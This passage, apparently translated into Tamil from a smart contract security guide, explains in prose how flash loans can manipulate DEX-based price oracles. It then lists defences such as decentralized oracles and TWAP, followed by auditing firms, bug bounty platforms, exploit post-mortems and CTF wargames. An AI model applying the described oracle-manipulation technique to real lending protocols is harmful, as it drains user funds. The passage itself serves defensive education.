DEX விலைகள் பெரும்பாலும் துல்லியமானவை, பெருமளவில் ஆர்பிட்ரேஜர்கள் (arbitrageurs) சந்தைகளில் சமநிலையை மீட்டெடுப்பதன் காரணமாகும். இருப்பினும், அவை கையாளுதலுக்குத் திறந்திருக்கும், குறிப்பாக ஆன்செயின் ஆரக்கிள் வரலாற்று வர்த்தக முறைகளின் அடிப்படையில் சொத்து விலைகளைக் கணக்கிட்டால் (பொதுவாக இதுதான் நடக்கும்).

எடுத்துக்காட்டாக, உங்கள் கடன் வழங்கும் ஒப்பந்தத்துடன் தொடர்புகொள்வதற்கு முன்பு ஒரு ஃபிளாஷ் கடனை எடுப்பதன் மூலம் தாக்குபவர் ஒரு சொத்தின் ஸ்பாட் விலையைச் செயற்கையாக உயர்த்தலாம். சொத்தின் விலைக்காக DEX-ஐ வினவுவது இயல்பை விட அதிக மதிப்பை வழங்கும் (தாக்குபவரின் பெரிய "வாங்குதல் ஆர்டர்" சொத்துக்கான தேவையைக் குறைப்பதால்), அவர்கள் வேண்டியதை விட அதிகமாகக் கடன் வாங்க அனுமதிக்கிறது. DeFi பயன்பாடுகளிடையே விலை ஆரக்கிள்களைச் சார்ந்திருப்பதைச் சுரண்டுவதற்கு இத்தகைய "ஃபிளாஷ் கடன் தாக்குதல்கள்" பயன்படுத்தப்பட்டுள்ளன, இதனால் நெறிமுறைகள் மில்லியன் கணக்கான நிதியை இழக்கின்றன.

ஆரக்கிள் கையாளுதலை எவ்வாறு தடுப்பது

ஆரக்கிள் கையாளுதலைத் தவிர்ப்பதற்கான (opens in a new tab) குறைந்தபட்சத் தேவை, தோல்விக்கான ஒற்றைப் புள்ளிகளைத் தவிர்க்கப் பல மூலங்களிலிருந்து தகவல்களை வினவும் பரவலாக்கப்பட்ட ஆரக்கிள் நெட்வொர்க்கைப் பயன்படுத்துவதாகும். பெரும்பாலான சந்தர்ப்பங்களில், பரவலாக்கப்பட்ட ஆரக்கிள்கள் சரியான தகவல்களைப் புகாரளிக்க ஆரக்கிள் முனைகளை (nodes) ஊக்குவிக்க உள்ளமைக்கப்பட்ட கிரிப்டோபொருளாதார ஊக்கத்தொகைகளைக் கொண்டுள்ளன, இது மையப்படுத்தப்பட்ட ஆரக்கிள்களை விட அவற்றைப் பாதுகாப்பானதாக்குகிறது.

சொத்து விலைகளுக்காக ஆன்செயின் ஆரக்கிளை வினவ நீங்கள் திட்டமிட்டால், நேர-எடையுள்ள சராசரி விலை (time-weighted average price - TWAP) வழிமுறையைச் செயல்படுத்தும் ஒன்றைப் பயன்படுத்தக் கருதுங்கள். ஒரு TWAP ஆரக்கிள் (opens in a new tab) இரண்டு வெவ்வேறு நேரங்களில் (நீங்கள் மாற்றியமைக்கலாம்) ஒரு சொத்தின் விலையை வினவுகிறது மற்றும் பெறப்பட்ட சராசரியின் அடிப்படையில் ஸ்பாட் விலையைக் கணக்கிடுகிறது. நீண்ட காலங்களைத் தேர்ந்தெடுப்பது விலை கையாளுதலுக்கு எதிராக உங்கள் நெறிமுறையைப் பாதுகாக்கிறது, ஏனெனில் சமீபத்தில் செயல்படுத்தப்பட்ட பெரிய ஆர்டர்கள் சொத்து விலைகளைப் பாதிக்க முடியாது.

டெவலப்பர்களுக்கான ஸ்மார்ட் ஒப்பந்த பாதுகாப்பு வளங்கள்

ஸ்மார்ட் ஒப்பந்தங்களை பகுப்பாய்வு செய்வதற்கும் குறியீட்டு சரியான தன்மையை சரிபார்ப்பதற்குமான கருவிகள்

சோதனைக் கருவிகள் மற்றும் நூலகங்கள் - ஸ்மார்ட் ஒப்பந்தங்களில் யூனிட் சோதனைகள், நிலையான பகுப்பாய்வு மற்றும் மாறும் பகுப்பாய்வு ஆகியவற்றைச் செய்வதற்கான தொழில்துறை-தரமான கருவிகள் மற்றும் நூலகங்களின் தொகுப்பு.
முறையான சரிபார்ப்புக் கருவிகள் - ஸ்மார்ட் ஒப்பந்தங்களில் செயல்பாட்டு சரியான தன்மையை சரிபார்க்கவும் மாறிலிகளை சரிபார்க்கவுமான கருவிகள்.
ஸ்மார்ட் ஒப்பந்த தணிக்கை சேவைகள் - Ethereum மேம்பாட்டுத் திட்டங்களுக்கு ஸ்மார்ட் ஒப்பந்த தணிக்கை சேவைகளை வழங்கும் நிறுவனங்களின் பட்டியல்.
பக் பவுண்டி தளங்கள் (Bug bounty platforms) - பக் பவுண்டிகளை ஒருங்கிணைப்பதற்கும், ஸ்மார்ட் ஒப்பந்தங்களில் உள்ள முக்கியமான பாதிப்புகளை பொறுப்புடன் வெளிப்படுத்துபவர்களுக்கு வெகுமதி அளிப்பதற்குமான தளங்கள்.
Fork Checker (opens in a new tab) - ஃபோர்க் செய்யப்பட்ட ஒப்பந்தம் தொடர்பான கிடைக்கக்கூடிய அனைத்து தகவல்களையும் சரிபார்க்கும் ஒரு இலவச ஆன்லைன் கருவி.
ABI Encoder (opens in a new tab) - உங்கள் Solidity ஒப்பந்த செயல்பாடுகள் மற்றும் கன்ஸ்ட்ரக்டர் ஆர்குமெண்ட்களை என்கோட் செய்வதற்கான ஒரு இலவச ஆன்லைன் சேவை.
Aderyn (opens in a new tab) - Solidity நிலையான பகுப்பாய்வி (Static Analyzer), சந்தேகத்திற்கிடமான பாதிப்புகளைக் கண்டறிய சுருக்கமான தொடரியல் மரங்களை (Abstract Syntax Trees - AST) கடந்து சென்று, சிக்கல்களை எளிதில் புரிந்துகொள்ளக்கூடிய மார்க்டவுன் வடிவத்தில் அச்சிடுகிறது.

ஸ்மார்ட் ஒப்பந்தங்களைக் கண்காணிப்பதற்கான கருவிகள்

Tenderly Real-Time Alerting (opens in a new tab) - உங்கள் ஸ்மார்ட் ஒப்பந்தங்கள் அல்லது வாலெட்டுகளில் அசாதாரணமான அல்லது எதிர்பாராத நிகழ்வுகள் நடக்கும்போது நிகழ்நேர அறிவிப்புகளைப் பெறுவதற்கான ஒரு கருவி.

ஸ்மார்ட் ஒப்பந்தங்களின் பாதுகாப்பான நிர்வாகத்திற்கான கருவிகள்

Safe (opens in a new tab) - Ethereum-இல் இயங்கும் ஸ்மார்ட் ஒப்பந்த வாலெட், இது ஒரு பரிவர்த்தனை நடப்பதற்கு முன்பு குறைந்தபட்ச எண்ணிக்கையிலான நபர்கள் அதை அங்கீகரிக்க வேண்டும் (M-of-N).
OpenZeppelin Contracts (opens in a new tab) - ஒப்பந்த உரிமை, மேம்படுத்தல்கள், அணுகல் கட்டுப்பாடுகள், ஆளுகை, இடைநிறுத்தக்கூடிய தன்மை மற்றும் பலவற்றை உள்ளடக்கிய நிர்வாக அம்சங்களைச் செயல்படுத்துவதற்கான ஒப்பந்த நூலகங்கள்.

ஸ்மார்ட் ஒப்பந்த தணிக்கை சேவைகள்

ConsenSys Diligence (opens in a new tab) - பிளாக்செயின் சுற்றுச்சூழல் அமைப்பு முழுவதும் உள்ள திட்டங்கள் தங்கள் நெறிமுறைகள் தொடங்குவதற்குத் தயாராக இருப்பதையும் பயனர்களைப் பாதுகாக்கும் வகையில் கட்டமைக்கப்பட்டுள்ளதையும் உறுதிசெய்ய உதவும் ஸ்மார்ட் ஒப்பந்த தணிக்கை சேவை.
CertiK (opens in a new tab) - ஸ்மார்ட் ஒப்பந்தங்கள் மற்றும் பிளாக்செயின் நெட்வொர்க்குகளில் அதிநவீன முறையான சரிபார்ப்பு (formal Verification) தொழில்நுட்பத்தைப் பயன்படுத்துவதில் முன்னோடியாக இருக்கும் பிளாக்செயின் பாதுகாப்பு நிறுவனம்.
Trail of Bits (opens in a new tab) - ஆபத்தைக் குறைப்பதற்கும் குறியீட்டை வலுப்படுத்துவதற்கும் தாக்குபவர் மனநிலையுடன் பாதுகாப்பு ஆராய்ச்சியை இணைக்கும் இணையப் பாதுகாப்பு நிறுவனம்.
PeckShield (opens in a new tab) - முழு பிளாக்செயின் சுற்றுச்சூழல் அமைப்பின் பாதுகாப்பு, தனியுரிமை மற்றும் பயன்பாட்டிற்கான தயாரிப்புகள் மற்றும் சேவைகளை வழங்கும் பிளாக்செயின் பாதுகாப்பு நிறுவனம்.
QuantStamp (opens in a new tab) - பாதுகாப்பு மற்றும் இடர் மதிப்பீட்டு சேவைகள் மூலம் பிளாக்செயின் தொழில்நுட்பத்தின் முக்கிய தத்தெடுப்பை எளிதாக்கும் தணிக்கை சேவை.
OpenZeppelin (opens in a new tab) - பகிர்ந்தளிக்கப்பட்ட அமைப்புகளுக்கான பாதுகாப்பு தணிக்கைகளை வழங்கும் ஸ்மார்ட் ஒப்பந்த பாதுகாப்பு நிறுவனம்.
Runtime Verification (opens in a new tab) - ஸ்மார்ட் ஒப்பந்தங்களின் முறையான மாடலிங் மற்றும் சரிபார்ப்பில் நிபுணத்துவம் பெற்ற பாதுகாப்பு நிறுவனம்.
Hacken (opens in a new tab) - பிளாக்செயின் பாதுகாப்பிற்கு 360 டிகிரி அணுகுமுறையைக் கொண்டுவரும் Web3 இணையப் பாதுகாப்பு தணிக்கையாளர்.
Nethermind (opens in a new tab) - Solidity மற்றும் Cairo தணிக்கை சேவைகள், ஸ்மார்ட் ஒப்பந்தங்களின் ஒருமைப்பாட்டையும் Ethereum மற்றும் Starknet முழுவதும் பயனர்களின் பாதுகாப்பையும் உறுதி செய்கிறது.
HashEx (opens in a new tab) - கிரிப்டோகரன்சிகளின் பாதுகாப்பை உறுதி செய்வதற்காக பிளாக்செயின் மற்றும் ஸ்மார்ட் ஒப்பந்த தணிக்கையில் HashEx கவனம் செலுத்துகிறது, ஸ்மார்ட் ஒப்பந்த மேம்பாடு, ஊடுருவல் சோதனை (penetration testing), பிளாக்செயின் ஆலோசனை போன்ற சேவைகளை வழங்குகிறது.
Code4rena (opens in a new tab) - ஸ்மார்ட் ஒப்பந்த பாதுகாப்பு நிபுணர்களை பாதிப்புகளைக் கண்டறியவும், web3-ஐ மிகவும் பாதுகாப்பானதாக மாற்ற உதவவும் ஊக்குவிக்கும் போட்டி தணிக்கை தளம்.
CodeHawks (opens in a new tab) - பாதுகாப்பு ஆராய்ச்சியாளர்களுக்கான ஸ்மார்ட் ஒப்பந்த தணிக்கை போட்டிகளை நடத்தும் போட்டி தணிக்கை தளம்.
Cyfrin (opens in a new tab) - தயாரிப்புகள் மற்றும் ஸ்மார்ட் ஒப்பந்த தணிக்கை சேவைகள் மூலம் கிரிப்டோ பாதுகாப்பை வளர்க்கும் Web3 பாதுகாப்பு அதிகார மையம்.
ImmuneBytes (opens in a new tab) - அனுபவம் வாய்ந்த தணிக்கையாளர்கள் மற்றும் சிறந்த கருவிகளைக் கொண்ட குழுவின் மூலம் பிளாக்செயின் அமைப்புகளுக்கான பாதுகாப்பு தணிக்கைகளை வழங்கும் Web3 பாதுகாப்பு நிறுவனம்.
Oxorio (opens in a new tab) - கிரிப்டோ நிறுவனங்கள் மற்றும் DeFi திட்டங்களுக்கான EVM, Solidity, ZK, கிராஸ்-செயின் தொழில்நுட்பத்தில் நிபுணத்துவம் பெற்ற ஸ்மார்ட் ஒப்பந்த தணிக்கைகள் மற்றும் பிளாக்செயின் பாதுகாப்பு சேவைகள்.
Inference (opens in a new tab) - EVM அடிப்படையிலான பிளாக்செயின்களுக்கான ஸ்மார்ட் ஒப்பந்த தணிக்கையில் நிபுணத்துவம் பெற்ற பாதுகாப்பு தணிக்கை நிறுவனம். அதன் நிபுணத்துவ தணிக்கையாளர்களுக்கு நன்றி, அவர்கள் சாத்தியமான சிக்கல்களைக் கண்டறிந்து, வரிசைப்படுத்துவதற்கு முன்பு அவற்றைச் சரிசெய்வதற்கான செயல்படக்கூடிய தீர்வுகளைப் பரிந்துரைக்கின்றனர்.

பக் பவுண்டி தளங்கள்

Immunefi (opens in a new tab) - ஸ்மார்ட் ஒப்பந்தங்கள் மற்றும் DeFi திட்டங்களுக்கான பக் பவுண்டி தளம், இதில் பாதுகாப்பு ஆராய்ச்சியாளர்கள் குறியீட்டை மதிப்பாய்வு செய்கிறார்கள், பாதிப்புகளை வெளிப்படுத்துகிறார்கள், பணம் பெறுகிறார்கள் மற்றும் கிரிப்டோவை பாதுகாப்பானதாக மாற்றுகிறார்கள்.
HackerOne (opens in a new tab) - ஊடுருவல் சோதனையாளர்கள் மற்றும் இணையப் பாதுகாப்பு ஆராய்ச்சியாளர்களுடன் வணிகங்களை இணைக்கும் பாதிப்பு ஒருங்கிணைப்பு மற்றும் பக் பவுண்டி தளம்.
HackenProof (opens in a new tab) - கிரிப்டோ திட்டங்களுக்கான (DeFi, ஸ்மார்ட் ஒப்பந்தங்கள், வாலெட்டுகள், CEX மற்றும் பல) நிபுணத்துவ பக் பவுண்டி தளம், இதில் பாதுகாப்பு வல்லுநர்கள் ட்ரையேஜ் (triage) சேவைகளை வழங்குகிறார்கள் மற்றும் ஆராய்ச்சியாளர்கள் தொடர்புடைய, சரிபார்க்கப்பட்ட பிழை அறிக்கைகளுக்கு பணம் பெறுகிறார்கள்.
Sherlock (opens in a new tab) - ஸ்மார்ட் ஒப்பந்த பாதுகாப்பிற்கான Web3-இல் உள்ள அண்டர்ரைட்டர், தொடர்புடைய பிழைகளுக்கு நியாயமான முறையில் பணம் வழங்கப்படுவதைப் பாதுகாக்க ஸ்மார்ட் ஒப்பந்தங்கள் மூலம் நிர்வகிக்கப்படும் தணிக்கையாளர்களுக்கான பேஅவுட்களுடன்.
CodeHawks (opens in a new tab) - தணிக்கையாளர்கள் பாதுகாப்புப் போட்டிகள் மற்றும் சவால்களில் பங்கேற்கும் போட்டி பக் பவுண்டி தளம், மற்றும் (விரைவில்) அவர்களின் சொந்த தனிப்பட்ட தணிக்கைகளிலும் பங்கேற்பார்கள்.

அறியப்பட்ட ஸ்மார்ட் ஒப்பந்த பாதிப்புகள் மற்றும் சுரண்டல்களின் வெளியீடுகள்

ConsenSys: Smart Contract Known Attacks (opens in a new tab) - பெரும்பாலான நிகழ்வுகளுக்கான மாதிரி குறியீட்டுடன், மிக முக்கியமான ஒப்பந்த பாதிப்புகளின் தொடக்கநிலையாளர்-நட்பு விளக்கம்.
SWC Registry (opens in a new tab) - Ethereum ஸ்மார்ட் ஒப்பந்தங்களுக்குப் பொருந்தும் பொதுவான பலவீனக் கணக்கீடு (Common Weakness Enumeration - CWE) உருப்படிகளின் தொகுக்கப்பட்ட பட்டியல்.
Rekt (opens in a new tab) - விரிவான பிரேத பரிசோதனை அறிக்கைகளுடன், உயர்மட்ட கிரிப்டோ ஹேக்குகள் மற்றும் சுரண்டல்களின் தொடர்ந்து புதுப்பிக்கப்படும் வெளியீடு.

ஸ்மார்ட் ஒப்பந்த பாதுகாப்பைக் கற்றுக்கொள்வதற்கான சவால்கள்

Awesome BlockSec CTF (opens in a new tab) - பிளாக்செயின் பாதுகாப்பு போர்க்கள விளையாட்டுகள், சவால்கள் மற்றும் Capture The Flag (opens in a new tab) போட்டிகள் மற்றும் தீர்வு எழுத்துக்களின் தொகுக்கப்பட்ட பட்டியல்.
Damn Vulnerable DeFi (opens in a new tab) - DeFi ஸ்மார்ட் ஒப்பந்தங்களின் தாக்குதல் பாதுகாப்பைக் கற்றுக்கொள்வதற்கும், பிழை வேட்டை மற்றும் பாதுகாப்பு தணிக்கையில் திறன்களை வளர்ப்பதற்குமான போர்க்கள விளையாட்டு.
Ethernaut (opens in a new tab) - Web3/Solidity அடிப்படையிலான போர்க்கள விளையாட்டு, இதில் ஒவ்வொரு நிலையும் 'ஹேக்' செய்யப்பட வேண்டிய ஒரு ஸ்மார்ட் ஒப்பந்தமாகும்.
HackenProof x HackTheBox (opens in a new tab) - ஒரு கற்பனை சாகசத்தில் அமைக்கப்பட்ட ஸ்மார்ட் ஒப்பந்த ஹேக்கிங் சவால். சவாலை வெற்றிகரமாக முடிப்பது ஒரு தனிப்பட்ட பக் பவுண்டி திட்டத்திற்கான அணுகலையும் வழங்குகிறது.

ஸ்மார்ட் ஒப்பந்தங்களைப் பாதுகாப்பதற்கான சிறந்த நடைமுறைகள்

ConsenSys: Ethereum Smart Contract Security Best Practices (opens in a new tab) - Ethereum ஸ்மார்ட் ஒப்பந்தங்களைப் பாதுகாப்பதற்கான வழிகாட்டுதல்களின் விரிவான பட்டியல்.
Nascent: Simple Security Toolkit (opens in a new tab) - ஸ்மார்ட் ஒப்பந்த மேம்பாட்டிற்கான நடைமுறை பாதுகாப்பு மையப்படுத்தப்பட்ட வழிகாட்டிகள் மற்றும் சரிபார்ப்புப் பட்டியல்களின் தொகுப்பு.
Solidity Patterns (opens in a new tab) - ஸ்மார்ட் ஒப்பந்த நிரலாக்க மொழியான Solidity-க்கான பாதுகாப்பான வடிவங்கள் மற்றும் சிறந்த நடைமுறைகளின் பயனுள்ள தொகுப்பு.
Solidity Docs: Security Considerations (opens in a new tab) - Solidity உடன் பாதுகாப்பான ஸ்மார்ட் ஒப்பந்தங்களை எழுதுவதற்கான வழிகாட்டுதல்கள்.
Smart Contract Security Verification Standard (opens in a new tab) - டெவலப்பர்கள், கட்டடக் கலைஞர்கள், பாதுகாப்பு மதிப்பாய்வாளர்கள் மற்றும் விற்பனையாளர்களுக்கான ஸ்மார்ட் ஒப்பந்தங்களின் பாதுகாப்பை தரப்படுத்த உருவாக்கப்பட்ட பதினான்கு பகுதி சரிபார்ப்புப் பட்டியல்.
Learn Smart Contract Security and Auditing (opens in a new tab) - தங்கள் பாதுகாப்பு சிறந்த நடைமுறைகளை மேம்படுத்தி பாதுகாப்பு ஆராய்ச்சியாளர்களாக மாற விரும்பும் ஸ்மார்ட் ஒப்பந்த டெவலப்பர்களுக்காக உருவாக்கப்பட்ட இறுதி ஸ்மார்ட் ஒப்பந்த பாதுகாப்பு மற்றும் தணிக்கை பாடநெறி.